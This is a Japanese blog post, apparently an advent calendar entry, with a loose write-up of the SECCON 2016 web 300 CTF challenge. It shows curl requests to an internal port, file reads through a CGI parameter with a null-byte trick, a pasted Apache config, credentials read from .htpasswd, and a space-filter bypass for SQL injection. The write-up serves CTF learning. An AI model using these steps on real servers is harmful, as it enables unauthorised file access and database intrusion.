seccon2016 web300 writeup
この記事は、↓の11日目の記事です。
前の記事は
https://wiki.mma.club.uec.ac.jp/mizunashi_mana/TIL/advent-calendar/2016/mma-techtalk
です。
僕MMA所属とかじゃないんですけど、@hyr3kに知り合い多いし心はMMAと言われて書くことになりました。 ネタがないのでseccon2016のwriteupを記事にしようと思います。 (@h-otterも書いてって言ってたしちょうどいいかな)
seccon2016予選、vulsで出ようと思ってたのですが、お仕事で残念ながらオンサイト行けなかったので今日早朝からweb問だけ見てみようと思い一人で孤独に100年ぶりくらいにCTFやりました。
1ついい感じの問題解いたのでwriteup書こうかなとおもったのですが、本当は書く予定なかったのでburpの消してなかった画面の情報と記憶だけを頼りに書いてます。なのでコードとかは残ってないし雑に書いてますごめんなさい。
web 300 writeup
問題のサイトを開くと、実行ファイルをアップロードすると実行結果が返ってくるサイトが表示される。
127.0.0.1:81/authedにアクセスしろって書いてあるため、とりあえず curl -v http://127.0.0.1:81/
。
そうすると select.cgi
があるらしく、そっちへcurlする。
サイトを見てみると、 curl -v http://127.0.0.1:81/select.cgi?txt=a
って感じでaってファイルが読めたけどなんだこいつとなる。
ここで、curl -v file:///etc/httpd/conf/httpd.conf
が見れたためしばらく眺めてサーバーの全容を把握。
追記:なんかメモにファイルの中身があったので貼り付け。
curl: (7) couldn't connect to host ServerTokens ProductOnly ServerRoot "/etc/httpd" PidFile run/httpd.pid Timeout 60 KeepAlive Off MaxKeepAliveRequests 100 KeepAliveTimeout 15 <IfModule prefork.c> StartServers 8 MinSpareServers 5 MaxSpareServers 20 ServerLimit 256 MaxClients 256 MaxRequestsPerChild 4000 </IfModule> <IfModule worker.c> StartServers 4 MaxClients 300 MinSpareThreads 25 MaxSpareThreads 75 ThreadsPerChild 25 MaxRequestsPerChild 0 </IfModule> Listen 127.0.0.1:81 #Listen 81 Listen 80 LoadModule auth_basic_module modules/mod_auth_basic.so LoadModule auth_digest_module modules/mod_auth_digest.so LoadModule authn_file_module modules/mod_authn_file.so LoadModule authn_alias_module modules/mod_authn_alias.so LoadModule authn_anon_module modules/mod_authn_anon.so LoadModule authn_dbm_module modules/mod_authn_dbm.so LoadModule authn_default_module modules/mod_authn_default.so LoadModule authz_host_module modules/mod_authz_host.so LoadModule authz_user_module modules/mod_authz_user.so LoadModule authz_owner_module modules/mod_authz_owner.so LoadModule authz_groupfile_module modules/mod_authz_groupfile.so LoadModule authz_dbm_module modules/mod_authz_dbm.so LoadModule authz_default_module modules/mod_authz_default.so LoadModule ldap_module modules/mod_ldap.so LoadModule authnz_ldap_module modules/mod_authnz_ldap.so LoadModule include_module modules/mod_include.so LoadModule log_config_module modules/mod_log_config.so LoadModule logio_module modules/mod_logio.so LoadModule env_module modules/mod_env.so LoadModule ext_filter_module modules/mod_ext_filter.so LoadModule mime_magic_module modules/mod_mime_magic.so LoadModule expires_module modules/mod_expires.so LoadModule deflate_module modules/mod_deflate.so LoadModule headers_module modules/mod_headers.so LoadModule usertrack_module modules/mod_usertrack.so LoadModule setenvif_module modules/mod_setenvif.so LoadModule mime_module modules/mod_mime.so LoadModule dav_module modules/mod_dav.so LoadModule status_module modules/mod_status.so LoadModule autoindex_module modules/mod_autoindex.so LoadModule info_module modules/mod_info.so LoadModule dav_fs_module modules/mod_dav_fs.so LoadModule vhost_alias_module modules/mod_vhost_alias.so LoadModule negotiation_module modules/mod_negotiation.so LoadModule dir_module modules/mod_dir.so LoadModule actions_module modules/mod_actions.so LoadModule speling_module modules/mod_speling.so LoadModule userdir_module modules/mod_userdir.so LoadModule alias_module modules/mod_alias.so LoadModule substitute_module modules/mod_substitute.so LoadModule rewrite_module modules/mod_rewrite.so LoadModule proxy_module modules/mod_proxy.so LoadModule proxy_balancer_module modules/mod_proxy_balancer.so LoadModule proxy_ftp_module modules/mod_proxy_ftp.so LoadModule proxy_http_module modules/mod_proxy_http.so LoadModule proxy_ajp_module modules/mod_proxy_ajp.so LoadModule proxy_connect_module modules/mod_proxy_connect.so LoadModule cache_module modules/mod_cache.so LoadModule suexec_module modules/mod_suexec.so LoadModule disk_cache_module modules/mod_disk_cache.so LoadModule cgi_module modules/mod_cgi.so LoadModule version_module modules/mod_version.so Include conf.d/*.conf User apache Group apache ServerAdmin root@localhost UseCanonicalName Off DocumentRoot "/var/www/html" <Directory /> Options FollowSymLinks AllowOverride None </Directory> <Directory "/var/www/html"> AllowOverride All Order allow,deny Allow from all </Directory> <IfModule mod_userdir.c> UserDir disabled </IfModule> DirectoryIndex index.html index.html.var index.cgi AccessFileName .htaccess <Files ~ "^\.ht"> Order allow,deny Deny from all Satisfy All </Files> TypesConfig /etc/mime.types DefaultType text/plain <IfModule mod_mime_magic.c> MIMEMagicFile conf/magic </IfModule> HostnameLookups Off ErrorLog logs/error_log LogLevel warn LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %b" common LogFormat "%{Referer}i -> %U" referer LogFormat "%{User-agent}i" agent CustomLog logs/access_log combined ServerSignature On Alias /icons/ "/var/www/icons/" <Directory "/var/www/icons"> #Options Indexes MultiViews FollowSymLinks Options None AllowOverride None Order allow,deny Allow from all </Directory> <IfModule mod_dav_fs.c> DAVLockDB /var/lib/dav/lockdb </IfModule> ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" <Directory "/var/www/cgi-bin"> AllowOverride None Options None Order allow,deny Allow from all </Directory> IndexOptions FancyIndexing VersionSort NameWidth=* HTMLTable Charset=UTF-8 AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip AddIconByType (TXT,/icons/text.gif) text/* AddIconByType (IMG,/icons/image2.gif) image/* AddIconByType (SND,/icons/sound2.gif) audio/* AddIconByType (VID,/icons/movie.gif) video/* AddIcon /icons/binary.gif .bin .exe AddIcon /icons/binhex.gif .hqx AddIcon /icons/tar.gif .tar AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip AddIcon /icons/a.gif .ps .ai .eps AddIcon /icons/layout.gif .html .shtml .htm .pdf AddIcon /icons/text.gif .txt AddIcon /icons/c.gif .c AddIcon /icons/p.gif .pl .py AddIcon /icons/f.gif .for AddIcon /icons/dvi.gif .dvi AddIcon /icons/uuencoded.gif .uu AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl AddIcon /icons/tex.gif .tex AddIcon /icons/bomb.gif /core AddIcon /icons/back.gif .. AddIcon /icons/hand.right.gif README AddIcon /icons/folder.gif ^^DIRECTORY^^ AddIcon /icons/blank.gif ^^BLANKICON^^ DefaultIcon /icons/unknown.gif ReadmeName README.html HeaderName HEADER.html IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv zh-CN zh-TW ForceLanguagePriority Prefer Fallback AddDefaultCharset UTF-8 AddType application/x-compress .Z AddType application/x-gzip .gz .tgz AddType application/x-x509-ca-cert .crt AddType application/x-pkcs7-crl .crl AddHandler cgi-script .cgi AddHandler type-map var AddType text/html .shtml AddOutputFilter INCLUDES .shtml Alias /error/ "/var/www/error/" <IfModule mod_negotiation.c> <IfModule mod_include.c> <Directory "/var/www/error"> AllowOverride None Options IncludesNoExec AddOutputFilter Includes html AddHandler type-map var Order allow,deny Allow from all LanguagePriority en es de fr ForceLanguagePriority Prefer Fallback </Directory> </IfModule> </IfModule> BrowserMatch "Mozilla/2" nokeepalive BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0 BrowserMatch "RealPlayer 4\.0" force-response-1.0 BrowserMatch "Java/1\.0" force-response-1.0 BrowserMatch "JDK/1\.0" force-response-1.0 BrowserMatch "Microsoft Data Access Internet Publishing Provider" redirect-carefully BrowserMatch "MS FrontPage" redirect-carefully BrowserMatch "^WebDrive" redirect-carefully BrowserMatch "^WebDAVFS/1.[0123]" redirect-carefully BrowserMatch "^gnome-vfs/1.0" redirect-carefully BrowserMatch "^XML Spy" redirect-carefully BrowserMatch "^Dreamweaver-WebDAV-SCM1" redirect-carefully # # Use name-based virtual hosting. # #NameVirtualHost *:80 # # NOTE: NameVirtualHost cannot be used without a port specifier # (e.g. :80) if mod_ssl is being used, due to the nature of the # SSL protocol. # <VirtualHost *:80> DocumentRoot /var/www/html-outer ServerName outer CustomLog logs/outer-access_log combined </VirtualHost> <Directory "/var/www/html-outer"> AllowOverride AuthConfig Options Indexes ExecCGI Order allow,deny Allow from all Deny from 127.0.0.1 # Order deny,allow # Deny from all # Allow from 210.225.95.129 </Directory> <VirtualHost 127.0.0.1:81> #<VirtualHost *:81> DocumentRoot /var/www/html-inner ServerName inner CustomLog logs/inner-access_log combined </VirtualHost> <Directory "/var/www/html-inner"> AllowOverride AuthConfig Options Indexes ExecCGI Order deny,allow Deny from all Allow from 127.0.0.1 </Directory>
.htaccess見れば終わりだという気持ちになり、 curl -v http://127.0.0.1:81/select.cgi?txt=.htaccess%00
みたいな感じで気合いで探す。(catやcurlで探してもpermissionがアレで見れなかった)
↑ここまでの作業が全体を通して一番時間かかった。
(たしか) ../.htaccess
くらいにファイルがあって、それを開くと /var/www/html-inner/authed/.htpasswd
があるので見るとログイン情報が keigo:test
とかで入れたはず。
basic認証すると、
b.txt c.txt sqlinj/
みたいな感じで情報があったので、sqlinj/以下を見る
CGIファイルがあって、getするとナンバー情報みたいなのが返ってくるので [1-100]?no=4822267938
みたいな感じでgetできて、そこでいろいろ(めっちゃ時間とかした)やってたらsqliできて、スペースが弾かれてた?気がしてコメントかなんかで代用してsqliteのテーブルに flags
っていう超怪しいものを見つける。
そこを見ると、フラグが書いてあった。やったね。
感想
フラグでて提出しようとしたらvulsのオンサイトで集まってる方が僕より先に解いてたらしく、終わりでーすという気持ちになりました。 久しぶりにCTFの問題解けてよかったです。次はオンサイトで集まりたい。